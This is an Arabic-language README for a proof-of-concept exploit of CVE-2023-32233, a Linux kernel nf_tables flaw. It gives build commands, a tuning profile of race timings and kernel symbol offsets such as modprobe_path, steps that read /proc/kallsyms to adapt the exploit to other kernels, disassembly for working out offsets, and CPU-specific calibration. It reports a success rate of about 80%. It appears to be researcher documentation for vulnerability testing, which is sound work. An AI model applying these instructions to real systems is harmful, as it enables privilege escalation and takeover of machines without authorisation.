
CVE-2023-32233: ثغرة أمنية في نواة لينكس
تم اختبار التعليمات التالية على نظام Ubuntu 23.04 (Lunar Lobster).

شغّل الأمر التالي لتثبيت تبعيات البناء:
sudo apt install gcc libmnl-dev libnftnl-dev
شغّل الأمر التالي لبناء الملف الثنائي لإثبات المفهوم (PoC):
gcc -Wall -o exploit exploit.c -lmnl -lnftnl
يحتوي ملف التعريف المدمج على معاملات خاصة بنواة Linux الموزعة في شكل ثنائي ضمن الحزم التالية من Ubuntu 23.04 (Lunar Lobster):
يبدو ملف التعريف المدمج على هذا النحو:
1 race_set_slab # {0,1}
1572 race_set_elem_count # k
4000 initial_sleep # ms
100 race_lead_sleep # ms
600 race_lag_sleep # ms
100 reuse_sleep # ms
39d240 free_percpu # hex
2a8b900 modprobe_path # hex
23700 nft_counter_destroy # hex
347a0 nft_counter_ops # hex
a nft_counter_destroy_call_offset # hex
ffffffff nft_counter_destroy_call_mask # hex
e8e58948 nft_counter_destroy_call_check # hex
خطوات اختيارية لتجاوز ملف التعريف المدمج عند الاختبار مع أنوية Linux أخرى:
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile
من أجل العثور على قاعدة النواة، نفحص صورة nf_tables.ko في
ذاكرة النواة. وتحديدًا، نحلّل كود الآلة الخاص بالدالة الفرعية
nft_counter_destroy(). وهذا يعني أن طريقتنا حسّاسة تجاه المترجم
وكذلك تجاه خيارات الترجمة. ومع ذلك، يمكن معالجة جميع الحالات
المعتادة عن طريق تجاوز ملف التعريف المدمج.
على سبيل المثال، قد يبدو كود الآلة الخاص بالدالة الفرعية nft_counter_destroy() على هذا النحو:
000000000001e310 <nft_counter_destroy>:
1e310: f3 0f 1e fa endbr64
1e314: 48 8b 7e 08 mov rdi,QWORD PTR [rsi+0x8]
1e318: e9 00 00 00 00 jmp <free_percpu>
1e31d: 0f 1f 00 nop DWORD PTR [rax]
في الحالة أعلاه، يمكننا تحديد عدد من المعاملات بإلحاق الأسطر الثلاثة أدناه بملف التكوين "profile".
أولًا، نعيد تعريف إزاحة الكلمة المزدوجة (dword) التي تسبق إزاحة free_percpu:
5 nft_counter_destroy_call_offset # hex
حيث تم حساب القيمة 5 باستخدام التعبير (1e31d - 1e310) - 8.
وكفحص سلامة، نتحقق بعد ذلك من الكلمة المزدوجة عند الإزاحة أعلاه باستخدام القناع التالي:
ffffffff nft_counter_destroy_call_mask # hex
متوقعين القيمة التالية:
e9087e8b nft_counter_destroy_call_check # hex
يتطلب استغلال الثغرة الفوز بسباق مع مؤشر ترابط خلفي عامل في نواة Linux. تمت معايرة ملف التعريف المدمج لتعظيم فرصة الفوز بذلك السباق على نطاق واسع من معالجات Intel بما في ذلك أجهزة Sandy Bridge المحمولة وأجهزة Comet Lake المكتبية. ومع ذلك، تتطلب بعض المعالجات معايرة إضافية. على سبيل المثال، لاحظنا زيادة في زمن الانتقال لتبديل المهام ضمن Alder Lake في بعض الإعدادات، حيث قد يكون من الضروري إلحاق السطر التالي بـ "profile":
400 race_lead_sleep
قمنا بقياس احتمالية 80% أو أفضل لاستغلال الثغرة بنجاح في اختباراتنا التي استخدمت أنظمة معدنية عارية (bare-metal) خاملة.
بمجرد تشغيل إثبات المفهوم (PoC) على نظام قابل للاستغلال، قد يترك ذلك النظام في حالة غير مستقرة مع ذاكرة نواة تالفة. نوصي بشدة باختبار إثبات المفهوم (PoC) على نظام مخصص لتجنب تلف البيانات المحتمل.